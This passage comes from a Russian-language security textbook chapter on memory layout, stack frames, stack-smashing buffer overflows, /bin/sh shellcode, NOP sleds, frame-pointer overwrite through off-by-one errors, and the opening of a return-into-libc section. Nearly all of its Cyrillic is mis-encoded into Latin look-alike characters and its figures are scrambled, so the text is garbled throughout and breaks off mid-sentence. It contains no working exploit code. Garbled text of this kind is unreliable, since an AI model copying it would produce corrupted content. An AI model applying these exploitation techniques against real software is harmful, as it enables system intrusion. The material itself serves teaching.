OG6BIYHO TOMEYAETCsT ATPUOYTOM «TOJIBKO JIJIs1 UT€HUsT>. TEKCTOBDIN CErMEeHT TTaMsi-
TH MOJKeT OBITh JIOCTYTIEH 1 IPYTUM MTPUTIOKEHUSIM, ITO CETAHO JIJIsE TOTO, YTOObI
He co3JjaBaTh MHOKECTBA KOIIUI OIHOTO U TOTO JKe 4aCTO UCII0JIb3yeMOr0 KO/ia.

JlaHHDIN CErMEHT He SIBJISIETCS MEJbI0 aTaKyIOIEro, Tak Kak Jo6as MombITKa 3a-
MKCATh B HETO KaKYIO-n60 HHPOPMAIMIO TIPUBE/IET K ABAPUITHOMY 3aBEPIIEHUIO
MTPOrPaMMBbIL.

B namsTH T€KCTOBBII CErMEHT MOKET ObITh PACIIOJIOMNKEH HUKE WM Bbille 00-
JlacTeil IMHAMUYECKHU pacTpenesseMoi TaMsITh (XU ) U cTeKa.
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4G (BblCWNi Bbicine
agpec ons appeca apaymeHmol KOMAHObI
326ut Oxffffffff U nepemeHHble OKpYXeHus
cmcTembl) Crek (stack)
Xun (heap)
HeNHUMann3npoBaHHble exec O6Hy/7,qem
AaHHble (bss) daHHyio 061acme
VHWLMANN3POBaHHbIe
JlaHHble (data) exec cHumeolgaem
0 Huswne U3 npoepamMmel
agpeca TeKcT (code)
0x00000000

Puc. 15.1. CTpykTypHasi cxeMa opraHusaummn naMaTm

2. Nuaunuanu3upyeMblii CETMEHT JaHHbIX.

NuanmaamaupyeMbliil CeTMEHT JIAaHHBIX (MJIM TIPOCTO CETMEHT JIAHHBIX ) XPAHUT
B cebe BIT0K BUPTYaTbHBIX a/[PECHBIX TIPOCTPAHCTB, KOTOPBIE COAEPIKAT TI0OATb-
Hble IlepeMeHHble, 3a/laBaeMble IIPOTPAMMUCTOM.

JlatHast 00J1acTh TAMSITH MOKET OBITh TIEPE3ANNCAHA BO BPEMSI BBHITIOJHEHSI TIPO-
rpamMbl. HO TporpaMMuUCT MOJKET CO3/[aBaTh CETMEHTBI, KOTOPbIE OY/IyT JOCTYITHbI
B PEKMME «TOJIBKO JIJIST UTCHUS».

3. CerMeHT HEMHUIIMAIM3UPOBAHHDIX IAHHBIX.

CerMeHT HEMHUIMATU3UPOBAHHBIX JIAHHBIX YacTo HasbiBaloT bss (block started
by symbol). 3toT cerment Boimensiercs ssapom OC, 1 Bee TaHHBIE B HEM TIEPe/]
3aIlyCKOM IIPOTPaMMBbI OOHYJISIOTCS.

4. Crek.

O6sacThb cTeKa TPAAUIMOHHO IPAHUYHUT ¢ XUIIOM U 3alI0JHSETCA B IIPOTUBOIIO-
JIOKHOM HarpasyieHnn. Kora o61acTh cTeka JOCTUTaeT XHIIa, 3TO 03HAYAET, UTO
CBOOOIHOIT TTAMATH He OCTAJIOCh.

Ita obacthb copepkuT nporpammubiii crek tuna LIFO (last in first out) — mo-
CTYIT BO3MOKHO TOJYYUTH TOJTBKO K TIEPBOMY DJIEMEHTY B «TOJIOBE> OUEPEH —
U pacronaraetcs B 6oJiee BHICOKIX 00acTsX maMsTi. B apxurexktypax x86 aipe-
carfiist HAYMHAETCST C HYJIS, B IPYTHX PEATU3AIISIX ATPECATINST MOKET JIBUTATHCST
B ITPOTUBOTIOJNOKHOM HATIPABJICHH.
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B AJTY cymiectByer criennanbHblii peructp SP (stack pointer), koTopslii XpaHuT
urbGOpMaIio 06 2TeMeHTe, HAXOSIIEMCST B HAYATIE, <TOTOBE> OUEPEH.

B creke xpansiTcs JOKaJIbHbIE [IePEMEHHbBIE, & TAK)KE CBI3aHHAs ¢ HUMU UHOOP-
Marus.

5. Xu.

Xurn (kyuya) — 06JgaCTh IMHAMUYECKHU pactipeessieMoit maMsitu. Kyua ynpasis-
ercs takuMu oneparopamu, kak malloc() (memory allocation), realloc() u free().
Malloc() mosBoaster mporpammucTy 3ampanuBath y OC HeoOXoanMoe KO-
YeCTBO MaMSITU JIJisl XPAHEHUST JaHHbBIX, HaripuMep o6Jacth B 5000 cuMBoJIOB
C TIEJTBIO 3aTMCATh TY/IA PEOCTABICHHBIN MOIb30BATEIEM aJipec BeO-CTPAHUIIDL.
OpnHoii 13 ocobennocteit oneparopa malloc() siBsieTcst TO, 4TO OH MOKET BO3Bpa-
MIAaTh CAMBIN HU3IIWIA a/[pec SYEeHKY TaMITH, IOCTYITHBIN JIJIS 3aTTUCH, U TIO9TOMY
MBI 3HaeM, Ky/la 3aHOCUTH JJaHHbIe. Afipec TaKoi sueiiK1 COMEePsKUTCS B CIIeTIH-
aJIbHOIL IepeMeHHoIt, uMeHnyeMoil ykasaTteneM (pointer). Free() ocsoGoxkmaer
aMsTh ¥ Bo3BpataeT yrpasyenue Haja Helt K OC.

qua HCIIOJIb3Yy€TCsA COBMECTHO pPa3/IMYHbIMUN 6ubIMoTEKaAMH 1 JAMHaMHU4Y€EeCKHU
TMOAKRJIIOYa€MbIMU MOTYJISAMU.

PazbueHune creka (Smashing the stack)

YT00bI HOHATH OCHOBHI Pa30MeHNs CTeKa, HaM HeOOXOAUMO Pa3obpaThCs B TOM, 9TO
MPOUCXOJIUT B CJTy4ae, KOr/aa oHa (hyHKIIUA BBI3BIBACT APYTYIO (DYHKITHIO.

[l mpuMepa Bo3bMEM YacTh IIPOTPAMMBI:
my_func(param,, param,, ..., param,);

KOTOPas NCTIOJIb3YeT JTOKATHHDIE TIEPEMEHHBIE Var,, Var,, ..., Var, 1 HeKOTOPBIH Habop,
11e00XOIMMBIH JIUIST 3aHEeCeH s B param,, param,, ..., param,,.

Ha puc. 15.2 mokazaHo, Kak Oy/IeT BBITJISIIETh CTEK TIEPE/] BBIIOJTHEHUEM TIPOTPAMMBIL.

Ykazarenb creka SP comep:kut ajgpec Bepxymiku creka (Y), ykazaTeab MHCTPYKITUN
IP — undopmanuio o ciaeayiolieil THCTPYKIUK, KOTOPAd J0JKHA BBIIIOJHATLC
AJIY (Z). B Haiiem cirydae JaHHbIe yKasaTeJIH OATOTABINBAIOT BCe HEOOX0AUMOE
st BeITIOJTHeHUsE (hyHKmu my _func().

Kak y:ke yImoMHIHAIOCh, CTEK NCTIOIB3YeTCs U1 XPaHeHNST JIOKAIbHBIX TePEMEHHBIX,
HO Ha CaMOM JIeJie OH COJIEPKUT OoJiee paszBepHyTyIo nH(GoOpManuio. B crek momeria-
ercs BeCh HEOOXOAMMBIH /17t paboThl (DYHKIIMN KOHTEKCT, BKJIIOYAst TapaMeTPhl ee
BBI30Ba. Best 061acTh MaMsATH, BBIZIEJIEHHAS TO/T BBITIOMHEHVE (hYHKITNH, Ha3bIBAETCST
CTEKOBBIM (hpeiiMoM.

ITporeccopy HEOGXOAMMO KaKUM-TO 0OPa3oM OPUEHTHPOBATHCST B CTEKOBOM (hpeii-
Me. OHKUM U3 CaMbIX Pa3yMHbIX CII0COOOB SIBJIETCS BbleseHe (PUKCHPOBAHHOIO
ajipeca JUIs KaXJoro CTEKOBOTO (hpeiiMa. YKazaTesb Ha 3TOT aipec COMAEPIKUTCS
B ykasateJsie ¢peiima — BP (base pointer uim frame pointer).
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Bbicwime PerncTpbl
agpeca
X <— BP IP X
SP Y
BP X
Y <«— SP
Hu3wwne
afpeca

Puc. 15.2. Crek nepep BbI30BOM QyHKLMM

Bepuemcst k BbizoBy my _func(). ITepBoe, 4T0 IPOMCXOUT TIPH BBI3OBE, — 3TO MEPeia-
YA IAHHBIX [I715T TAPAMETPOB param,, param,, ..., param,. Jlantsie Gy/IyT mepenaBaThest
B 06paTHOM TIOPSIZTKE OT param K param,.

ITocJie BoI3oBa (DyHKIMK M TIepejadu apaMeTPoOB HaM HaJo OyA€eT BBIITOJHUTH CaMy
dyukiuio. /17t Toro 4To6bl 5TO MPOMIOIILIO, Halo 106ABUTH B CTEK a[pec MHCTPYK-
un (V), kotopas 1oJKHa ObITh BbIOJHEHA 11poiieccopoM (puc. 15.3).

Peructpbl
X <«— Bp P u
SP
BP X
Y
param
param,
W Vv <«— SP

Puc. 15.3. Crek nocne 3aHeceHMs NapamMeTpoB W agpeca Bo3BpaTa

Curenyrotasg MHCTPYKINA, Haxodmasacd o ajapecy U, ABJsSeTCS TOUKOHM BbI30Ba
my_func(). @axruyecku B 9TOH stueiike COAEPKUTCS afpec, B3STHIA U3 Perucrpa
IP u ykasbIBaOIUil Ha IEPBYIO HHCTPYKIIHUIO, KOTOPast IOJKHA ObITH BHIOJTHEHA.

Ha sTom aTarre 3aBe€pHIacTCA Mmo/AroToBKa K MCITOJTHEHUTO Il'lyifllIlC(). Ho ato Ipo-
U30MJIET I0CyIe TOI'o, Kak 6leyT BbIIIOJIHEHBI CJICAYIOIIne Tpe6OBaHI/IHI
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1. Ilpenpinyriee 3nauenne ykazaress ¢ppeiima (BP) coxpaneno n 3aHeceHo B CTeK.
IT0 HEOOXOAUMO /It TOTO, YTOObI BIIOCJIEACTBII Mbl MOTJIM BEPHYThCS Ha TY
TOUKY, Ha KOTOPOII HAXO/IUJIUCH IO BHITTOJTHEHUST (DYHKITHH.

2. Byxkazatenn peiima (BP) ckonupoBano 3nadenue ykaszaress creka (SP), koro-
poe onpesesisiio yKasaTesb dhpeiima.

3. Mecto UL JIOKAJbHDIX IIEPEMEHHDBIX Var,, var,, ..., var, 3ape€3cpBUPOBaHO IIyTEM
TrepeMenienus yKasaTessd CTeKa BHU3.

HepBbIe JIBa IlIara BBIIIOJIHAIOTCA JIJIA JOOBIX (byHK]_[I/Iﬁ OHVMU U TEMU K€ NHCTPY-
MCHTaMW, MalllIMHHBIM KO/IOM WJIN MHCTPYKIIUSAMMU. Ha TPETHEM IIare AJisd pa3HbIX
(byHKI_H/If/'I HeO6XOlII/IMO 6leeT BbIJIEJINTb PAa3HOE€ KOJMYECTBO MeECTa 110/ XpaHeHue
TIepeMeHHbIX.

ITHU TPH 1I1ara, KOTOPBIE ABJSIOTCS OOIMINMHU 1 OJNHAKOBBIMU JIJIST BHI30BA JIFOOBIX
dbyHK1M, HasbBatoTCs poJioroM (prolog) dynkuuu (puc. 15.4).

X Pernctpbl
IP u
SP W
BP X
Y
param
..... o
]
g<
param =
q
% Vv g
w’ X <«— BP lé
var 5
[a]
[S)
T var. «— SP

Puc. 15.4. Bug cteka nocne BbINOSIHEHUS Nposiora PyHKLUMK
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Peructp IP conmepsxut azpec S, ykaspiBaronuii Ha IepBYIO «peabHYi0» WHCTPYKITUIO
dyHKIINH, KOTOpast 10JKHA ObITh BhITosiHeHa. Peructp B comepikut agpec ssyeiiku
W', naHHbIi agpec MoxKeT ObITh IIPEACTaBIeH B Buzie «aapec W MUHYyC 001ast cyMMa
6aiiToB B CJI0BE>.

MOKHO 3aMETHUTD, UTO TIAPAMETPBI 1 JIOKATbHBIE TlepeMeHHbIe (DYHKITUHT PACTLIOKEHBI
B [IaMATH CUMMETPUYHO — Haj U 1oy peructpom BP. Kak ciencrsue, 1o oTHOIIE-
Huio kK BP agpeca mapametpos 6yAyT BO3pacTarh, a ajipeca JOKaIbHbIX MepeMEeHHbIX
YMEHbBIIATHCS.

Kax BBI MO/ OTaiaThest, ecn y (byHKIMU €CTh MPOJIOT, TO 0JKEH OBITh ¥ JTIHJIOT.
Anuor (epilog) HEOOXOAUM 1T TOTO, YTOOBI «IPUGPATHCS 32 COO0I» MOCIIE TOTO,
Kak (DYHKIIUSI BBIIOJHUT CBOIO paboTy.

B anmnore Toxxe Tpu mara:

1. 3nauenme perunctpa W’, B KOTOPOM HaXoAUTCS Komus azgpeca BP, npucBanBaeTcs
SP. 310 1103BOJIsIET U30ABUTHCSI OT JIOKAJIBHBIX IIEDEMEHHBIX.

2. CoxpaHeHHOe 3HaYeHHe ykazarest ¢ppeiiva X komupyercst obpatao B BP (BbI-
MOJTHAETCSI KOMAH/ION «pPop», Tak Kak SP yka3piBaeT Ha ajpec CTeKa, KOTOPBIi
COMIEPKUT HYsKHOE 3HaueHue). Ecim Mbr cpaBaum puc. 15.3 u 15.4, npeneGperast
BO3MOJKHOCTBIO U3MEHEHW:I 3HAYEHUI apaMeTPOB U MePEMEHHBIX, TO YBUINM,
YTO CTEK TIOCJIe BBIIOJIHEHUs IPoJioTa (YHKIIUN BBITJISIAUT TAK JKe, KaK JI0 €ro
BbINIOJIHEHUST. EAMHCTBEHHAs Pa3HUIIA B TOM, YTO yKa3aTesb MHCTPYKIUI Telepb
cozmeput azpec R.

3. Anpec Bo3Bpara V komupyeTcst Ha3a/l B yKazaTeab (QYHKIUU oTiepaiueil «pop»,
Ha KOTOPYIO yKasbiBaeT R.

WucTpykmms no agpecy V IepeMecTHT yKas3aTesb CTeKa BBePX Ha TAaKOe KOJTMIeCTBO
a7IPECoOB, HA KOTOPOE OHO OBLITO YBETUIEHO /10 BBI30BA (DYHKITIN, BO BPEMST T00aBIe-
Huist B Oyhep mapaMeTpoB param,, param,, ..., param . MbI IOJYYHIH TAKOE JKE COCTO-
sHue Oydepa, Kak u 10 BbizoBa GyHKimu (puc. 15.5). TToka Bce BBINISAAUT XOPOIIIO,
TakK MOYEeMy ke BO3HUKAET MpobJieMa, a BMeCTe ¢ Hell U ySI3BUMOCTb?

IIpencTaBbre, YTO OIHA U3 BIIOJTHE OOBIYHDLIX 1 GE3BPEAHBIX TEPEMEHHBIX Var, Var,, ...,
var, MO’KeT 0Ka3aThCs KakoTo yromano tutma. ITo ompenenenuio sueiikn 6ydepa pac-
TIOJTOJKEHBI B TAMSTH TaKUM 00Pa3oM, 4To MepBast staeiika GyaeT UMeTh HanMEHbITTHiT
azpec, To ecth ajapeca Gydepa pacTyT Mo HATPABICHUIO K HANGOJBIIIEMY aIPecy.

[Ipenrono:xum, 4TO MporpaMMa He IpoBepsieT BBeIEHHYIO 110JIb30BaTeIeM CTPOKY Ha
KOJIMYECTBO CHMBOJIOB, 8 OHA OKA3aJ1ach OOJIbIIE 3ape3ePBUPOBAHHOTO TI0]] HEE MECTa
B TamsTH. Tereph, ecin CTPOKA He SIBISIETCS TOCJIEHUM TTapaMeTpoM, TO CHadasa
U3JIUIIIKOM CHUMBOJIOB OY/IyT Mepe3amiicanbl BCe MepeMeHHble, HaXOISIIIeCs MocIe
Hee. A 3aTeM OCTaBINasACsA YaCTh CTPOKHU TIepe3anuiieT 3HaueHus ykasaress ¢ppeiimMa
W aJipec BO3BPara, Ha KOTOPbIil I0JKeH Oy/IeT BEPHYThCS YKa3aTe b MOC/IE BBITIOIHE-
Hug anuiora Gyakiuu. [ Hac 3TO OTKPBIBAET OUe€Hb MHTEPECHBIE BOBMOKHOCTH.
[IpennomoxuM, 4TO MBI TIOJIAINM HA BXOJI IIPOTPAMMBI CTPOKY, C(POPMUPOBAHHYIO
TakuM 006pasoM, 4ToOBI OHA Mepenucaia apec Bo3BpaTa Ha TOT, B KOTOPOM yiKe Ha-
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XO/IUTCS c(hOPMUPOBAHHBIN BPEJIOHOCHBIH KO/I. JlaHHBIH KO/ MOKET HaXOUTHCS 10
Wy nocje ajapeca Bozppata. Ecim ciiesath Bce IPaBUIIbHO, TO 110CJIE BBIIIOJHEHMS
anusora GyHKIMN KOMITBIOTEP MepPei/IeT 110 MO/IeJIbHOMY a/Ipecy U BBITIOJHUT Bpe-
noHocubiit kox (puc. 15.6).

X <— BP Pernctpsil
IP U
SP W
BP X
Y
param
param,
w Y <«— SP
w’ X
var
T var_

Puc. 15.5. Bua creka nocne BTOpPOro wara anunora yHKumm

B Unix-mio106HbIX CHCTEMAaX CaMbIM MOITYJISTPHBIM BHIOM KOJIA Y 3JI0YMBIIIJIEHHUKOB
seastercst mesui-koz. lesn B Unix — 310 mporpaMMHast 060JI09Ka, KOTOPast peji-
crasJisieT cob6oi nHTepdeic st KoMaHAHOM cTpoKu. [To yMoTyaHio B GOJIBIIMHCTBE
CHCTEM UCIIOJIb3yeTcs KOMaHIHbIN nHTepiperaTtop bpoyna (Bourne Shell), naxomus-
upuiicst B upexropun /bin/sh. Iembio mesn-ko/a, chopMUPOBAHHOTO 3JI0YMBITILIEH-
HUKOM, SIBJISIETCSI 3allyCK HHTepIperaTopa us aupekropun /bin/sh. dto nossossier
ATaKyIONEMY TTOJTYYUTh TOCTYI K WHTepdeicy, B KOTOPOM OH CMOXKET BBITIOTHSATD
Jir0ObIe KOMaH/IBI OT IMEHH TI0JIb30BATEJIs, 311y CTHBIIIETO TIOBEPIHYBIIYIOCS B3JIOMY
MPOTPAMMY.

[IpuMepsl TAKOTO MIENI-KO/Ia MOKHO HAlTH B HHTEpHETE. [TTaBHOE TIPEnMyTIecTBO
IIEJUI-KO/Ia — 9TO PasMep, OOBIYHO OH COAEPKUT He Hosiee 60 HallT. ITO OUEHD BasK-
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HO, TaK KaK B TIPOTIeCcCE MepenonHentst Oydepa atakyiomuii 3aiuiieH ot Toro, 4To
c(OpPMUPOBAHHBIN KO/ BbIW/IET 32 IIPe/ieJibl OTBEJCHHON IIPOrpaMMe MaMsITH.

X <«— BP Pernctpbl
P p
SP T
BP w’
Y
param_

BpenoHocHbIN

S ko4
W S <— TlogpaenbHblil agpec Bo3Bpara
. | «<— BP
Mpon3BonbHbIN
W Ko <— Hauano 6ydepa
T var <«— SP

Puc. 15.6. CocTtosiHne cTeka nocne nepenonHeHus bydepa

Jlst arax Ha [TO, pabotatotiee mox ynpasiaenuem OC Windows, Takske puMeHsieT-
¢sI TIeJIT-KOJT, HO MCTIOJMB3YEeTCsT OH MHade. [1pu yaaseHHoM mepernoanernn 6ydepa
cucTeM Win32 MCTOMb3yeTCsl KIACCHYECKUN METO/I, TIPH KOTOPOM HEOOXOIMMO 3a-
CTaBUTh MAIITUHY JKEPTBbI CKauaTh (Dailyl U3 ceTU U BBHITOJHUTD ero. Buaumo, ato
[IPOUCXO/IUT M3-3a TOTO, YTO UMEHHO TAKOU METOJ[ ATaKU OTUCHIBAET OOJIBIIMHCTBO
PYKOBOJCTB, IIOCBSAIIEHHBIX WH(POPMAaLMOHHON Oe3onacHocTi. OfHAKO MPAKTUKA
MOKa3bIBACT, UTO IIe/T-KO /7ist Windows MoskeT paboTaTh [0 TAKOMY K€ TIPHHITHITY,
kak u st Unix.

Jlaske ecJin Bari 1ieJi-KO/[ MPEIOCTABUT BaM TIOCJIe YAAYHOU aTaku JOCTYI K KOMaH/I-
HOI CTPOKE Ha CTOPOHE JKEPTBbI, BHITIOJHEHUIO HATIPABJCHHON HA MEPeroJHeHne
Gydepa araku Beera OyyT MPEISITCTBOBATD CJIEAYOIINE TPOOIEMBL:

® 1HeoOXOMMMOCTD YrajlaTh 3HAUEHUE, KOTOPOE HYKHO TIOMECTUTD B TIO//IEIbHbII
ajipec BO3BpaTa;
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® HeoGXOANMOCTD yTaaaTh MECTOHAXOXKIEHIE aapeca Bo3spara B cteke (W B Ha-
1IeM cayvae);

® HeoOXOAMMOCTh YOEANTHCS B TOM, UTO IIEJI-KOJ He COAEPIKUT HYJIeH, TaK KaK 9TO
pUBEET K HeMeJICHHON OCTAaHOBKE €T0 BBITTOJHEHUS.

HepBaH 1 BTOpasd HpO6JI€MI)I 0OBIYHO BCTPpEYalOTCA OAHOBPEMEHHO. OCHOBHBIM CITO-
coboM X IIpeo0JIEHNA ABJIACTCA:

e wucnosib3zoBanre NOP-unctpyknmit. NOP-wHCTPYKITUS HUYEro He /iejlaeT u cTa-
BUTCSI TIEPEJT eJII-KOIOM;

® HEOJHOKpATHOE [TOBTOPEHUE IPE/II0JaraeMoro HadyaabHoro aapeca B copmu-
POBAHHOM KOJIe, UCIIOJIb3YEMOM JIJIsi HATIPAaBJIEHHOI Ha mepenoyHenue Gydepa
aTaKM.

Lenn-kop,

NOP

NOP

NOP

HauanbHbIn agpec

HauanbHbi agpec

HavanbHbIn agpec

Puc. 15.7. CocTosiHWe namMsiTV BO BPEMS aTakW, HanpaBneHHOw
Ha nepenonHeHue bydepa

Ha puc. 15.7 uso6paxen 6ydep, B KOTOPbII IIOMEILEH SKCILIONT IS €0 IePenoJi-
Henug. VIcmomb3ys aTOT TMOAX0/I, Mbl yBEJIMUYNBAEM BEPOSATHOCTD TOTO, YTO HAYAIb-
HBIIT a/[pec mepes3aruiieT aagpec Bo3spata. bosee TOro, Temepb HaM He 00sI3aTeTbHO
[epeHanpaBUTh BBITIOJTHEHNe MMEHHO Ha HavyaJlo 1IeJI-KOoia — JOCTaTOYHO TOTrO,
uro AJIY nepeiiger Ha 00y 13 NOP-uncrpykimii. Korma AJIY nonazer Ha NOP-
WHCTPYKIMH, OHO OY/IET TIPOTTYCKATh UX OJIHY 32 JAPYTOil 10 TEX MOP, MOKa He T0UeT
J10 TIeJIJI-KO/IA ¥ He BBITTOJHUT €TO.

TpeTbe yeaoBIe MOKET OBITH BBITTOIHEHO 3aMEHON HyJIsT Ha CMMBOI ¢ KooM 90h, Tak
KaK MallliHHast HHCTPYKIust ¢ Kogom 90h — ato NOP.

Ewte opun criocob nszbexarh HyJIeBOro 6HailTa — MaCKMPOBAHUE YACTU IHEJI-KOJIA.
Mozkno 3amenuts Bee 0 Ha 1, a B IIeJI-KOL BCTPOUTD (DYHKIIMIO, KOTOPast peod-
pasyer ux 06paTHo.
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Cy1iecTByeT 1 BO3MOKHOCTD HAITMCAHUS TIEJUI-KOAA 5T X86-apXUTEKTYPbI € UCIOJb-
30BaHKUeM OYKBEHHO-IIM(PPOBbIX 3HAYCHUIA. TaK0ii KO/, €CJIN OTKPBITH €T0 B TEKCTOBOM
penakTope, Oy/IeT BbINJISAAETh KaK HEMOHATHBIN HAaGOp 1udp GOJIBIIMX 1 MaJTeHbKUX
OyKB. ITOT IOAXOZ JAeT aTaKyIoIIeMy OOJIbIIOe IPEUMYILECTBO, TaK KaK IIO3BOJISIET
usbeskarTh OOHAPYKEHUSI TIeJUI-KO/[a CTAHAAPTHBIMU CPECTBAMU 3aIUTHL,

Mepesanucb ykaslatens dpenma

Mbt yske yOeanIncs, 4To BO3MOKHOCTD OCYIIECTBIEHUST Pa30HeHNs CTeKa OSIBIIS-
eTCsl M3-3a OTCYTCTBHSI IIPOBEPKU pazMepa Haxosimuxcst B Gydepe JaHHBIX HIIH ee
HerpaBuIbHON opranusanyu. [TosToMmy MakcMMaIbHbIH pasMep 1eJLI-Koja 3apaHee
HEeU3BECTEH.

JIpyroii pactipocTpaHeHHOH ONMOKO# TpU IporpaMMIpoBaHIy Ha si3bike C SBJIsIeTCst
Tak HasbiBaeMast off-by-one error, nim omnmbka Ha exuHuILy. Yalie Bcero oHa mpowuc-
XOJIUT B TINKJIE, BBITIOIHSIONIEM TIEpeOOp 2JIEMEHTOB: HATTPUMED, TIepebop 3IeMEHTOB
MaccuBa HaunHaeTcst ¢ 1, a ve ¢ 0.

MoskeT co3MaThCsT OKHOE BIIeYaTIeHHe, UTO HITIETO TUIOXOTO U3-32 OMHOTO HaiiTa
IIPOM30ITH HE MOXKET, HO 3TO He Tak. Ha camoMm fiesie B 3TOM ciTydae Tepest 3710y MBIII-
JIEHHUKOM OTKPBIBAIOTCSI HOBBIE BO3MOKHOCTH MAHUTIYJISITINE ¢ OyhepoMm.

ITpencraBum cebe cuTyalnio, B KOTOPOI HiepBast JIOKaJbHast iepeMeHHast Bo gpeiime
creka sBisgercs OydepoM, Ya3BUMbIM K aTakaM 110 Tuiry <off-by-one error» Bo Bpems
06pabOTKH TOJIb30BATEIbCKUX JaHHBIX. B cirydae, Koria Mex/Iy JaHHO mepeMeH-
HOU 1 yKaszareseM (GppeiiMa HeT APYTUX JaHHBIX, BBEACHHDIN OTIOJTHUTETBHBIN GaliT
MOJKET TepercaTh OfuH OailT coxpaHeHHoro ykasatess ppeiima (X Ha puc. 15.4).

XopoliIo To, 4To 13-3a COXpPaHeHHOTO ajipeca Bozspara (V na puc. 15.4) y 3/10yMbiii-
JIEHHUKA He Oy/IeT BO3MOKHOCTH BBITIOHUTD IIEJIJI-KOJI, KOTOPBII OH MOT 3aTPy3UTh
B Oydep 3apaHee.

IT;1oxast ske HOBOCTh B TOM, UTO JIJIsI IOCTUKEHUSI IAHHOM 1[€JIU 3JI0YMBIIITIEHHUKY
HaJI0 COBEPIIUTD BCETO JIUIIb MAPY JIOTIOJHUTENBHBIX JIeficTBUiA. B apxutexkType x86
HaMsITh OpraHi30BaHa TAKKUM 00Pa3oM, 4TO HauboJIee BasKHBIM SIBJIsteTCs OaliT ¢ Hau-
MenbiM azgpecoM «little endian». 910 03HavaeT, 4To U3 YeThIpeX GUTOB, KOTOPbBIE
COCTABJISIIOT CJIOBO, TIEPBBIM MET OUT, IMEIOIIII HANMEHbIITY0 BAKHOCTD UJIH CaMBblii
HU3KUH azipec. Eciu poBecTH aHaJIOTHIO C IECSITUMHON CUCTEMO, MOJTYUUTCsI, UTO
uucsia GyJIyT 3ancanbl B 0OpaTHOM Mopsike, HanpuMep 1234 6yner coxpaneHo Ta-
KM 00pasoM, 4To 4 OyjieT UMeTh HU3IIHiT aipec B maMsiti, a 1 — BbICIIHIA.

Ternepb MPEAIONOKIM, YTO TiepenoHeHre mpoucxoant B pyrkimn bad func(), ko-
Topast BbisbiBaeTcst GyHkImeil good func(). B xo/e aTaku 3/10yMBITIIJIEHHUK CMOJKET
WU3MEHWUTD HUIIUI GUT — B HaIeM mpuMepe nnudpy 4 — COXPaHEeHHOTO yKa3aTelist
dpeiiva pynxumu good func(). [Touemy a10 Tak BaxkHo? IIpencTaBbre, 4TO MOPSAAOK
6uToB B mamaTH Oyner apyrum, «<big endian», — Torma moboe U3MeHeHne 3HaYeHUsT
yKasaresst ppeiiMa TPIUBOMIIIO OBl K YKA3AHUIO HA aIpec, KOTOPBIH HAXOIUTCS BHE
TEKYIIEro KOHTEKCTa UCIOJMHEHNs mporpaMmbl. Hampumep, 1234 nomeHstiochk Obr
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Ha 3234. Ho B HamieM ciiyyae Mbl MeHsIeM HU3IIUH Oaiit, Harpumep 1234 wa 1232.
W y 350yMbllIeHHUKA €CTh BCe IAHCBI IOMEHSATD ajipec yKadatess gpeliMa Ha Ta-
KOH, KOTOPBII TIPUBE/ICT K BBITIOJTHEHUIO 3arPy>KEHHOTO THeJII-KOJIA.

Kax yse ObLIO CKa3aHO, yKasaTesab (GhpeiiMa UCIoIb3yeTCs ISt I0CTYIa K Tapa-
MeTpaM M JIOKaJbHBIM IepeMeHHbIM (GyHKIuuU. [IepBbIM pe3yIbraToM N3MeHEHUsT
ykazatess dpeiiva pyrkuun good func() 6yaer ee paboTa ¢ HelpaBUIbHBIMU
JIAHHBIMU U, KaK CJIICTBYE, BO3BPallleHne HeIPaBUIbLHOTO pesyJibrata. B jydriem
cJydae 110CJIe TOro, Kak (DyHKI[MS TOMbITaeTcst 00PaTUThCs K sTYelike maMsaTH, Ha-
XOJIAIIEicss BHE JIONMYCTUMOTO paHee BbIJIEIEHHOTO WHTepBaJia, mporpamMma Oyer
HKCTPEHHO 3aBepuieHa. [Ipu xyanem pasButun coOBITHI OyAET JOCTUTHYT SITAIOT
byukuuun good func(). Ha tperbem miare smnusora GyeT BBIIOJHEHA KOMaH/a Pop,
IIPU OMOIIM KOTOPOIi B yKa3aTesib MHCTPYKIIMU CKOIIUPYETCst 3HAYeHUEe, HaXOIsiIIe-
ecst 3a yKazareseM (peiima.

Wrtak, eJUHCTBEHHOE, YTO HAJO CIEIaTh JJIsI BHIIIOJHEHUS MIE/LI-KOIa, — 9TO U3Me-
HUTb COXPAHEHHOE 3HaUeHMe ykasaTesist ppeiiva pyrkiuu good func() Ha Takoe, Ko-
TOpoe OBl YKa3bIBaJIO HA a[PECHOE TPOCTPAHCTBO B 06JIACTH TIaMSITH, HAXOISIIENCst Ha
OJIHO €JIOBO HUXKe. [1ie n Oyaer HaxoAUThCsl HavajlbHast yacTh miesui-koga (puc. 15.8).

MapameTpbl
byHKLMM
Appec
BO3BpaTa g
o)
CoxpaHeHHoe 2
.
> 3HayeHune = MapameTpbl
yKasartens 2 byHKLMK
dpelima
Appec
JlokanbHble BO3BpaTa
nepemeHHble
CoxpaHeHHoe
MapameTpbl | SEHERE 5
dyHKLMM yKasatens 2
dpenma IE"
Appec 3
BO3BpaTa o ©
lQ_
CoxpaHeHHoe = __|_ AnpecHauana
3HaueHme 3 : wens-Koga
yKasaTens e :
o 1
dpenma P Samywka»
1 _}
JlokanbHble [ i
nepemeHHble
o nepenonHeHna bydepa Mocne nepenonHeHusa 6ydepa

Puc. 15.8. Mepe3anuck ykazatens dpenma
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ATaka Bo3BpaTa B bubnnoteky

Jluist paceMoTpeHus atak Bospara B Oubsanoreky (Return-into-libc) BHoBb 06paTim-
cs K puc. 15.2, Ha KoTopoM usobpaskeH crek mepes Bbizopom my_func(). Eciu mocmo-
TPETh HA CUTYAIMIO C TOYKK 3PEHUS BHI3BIBAEMOIT (DYHKIIUH, TO BHAYAJE CTEK Oy/eT
COZIEPIKATD aJIPeC BO3BPATA, KOTOPBI OHA JIOJIKHA MCIOIb30BATH, a 3aTEM — IIapaMe-
Tpbl. Kak ymomuHamocs B paszene «PasbueHue crekas, OCHOBHOM TIEJTBIO aTAKYOIIEro
SIBJISIETCS 3aITyCK IIEJI-KO/A [JIsT TOJTydeHust ocTymna K cucteme. OObIYHO Mog00HbIe
mesT-Koabl B Unix-1ogo0HbIX CHCTEMaX UCHOJIb3YIOT Takue (hYHKIH, Kak system()
uim execve(), a B cucremax oz yipasaenneM OC Windows — WinExec(). lamubie
(OYHKIIY B KAYeCTBE MapaMeTpa BbI30BA UCIIOJIB3YIOT UMsI IIPOTPAMMBI U (UM ) Iy Th
K Hell.

Kax AJIBTEPHATUBY paS6I/IeHI/HO CTEKa MCITOJIb3YIOT HpHMOfI BbI3OB OHpelIeJIeHHOﬁ
(byHKHI/II/I. ﬂaHHbeI crocob numeer O/JlHO Ba’XHO€ IIPpENMYUIECTBO — €TI0 HEJIb31
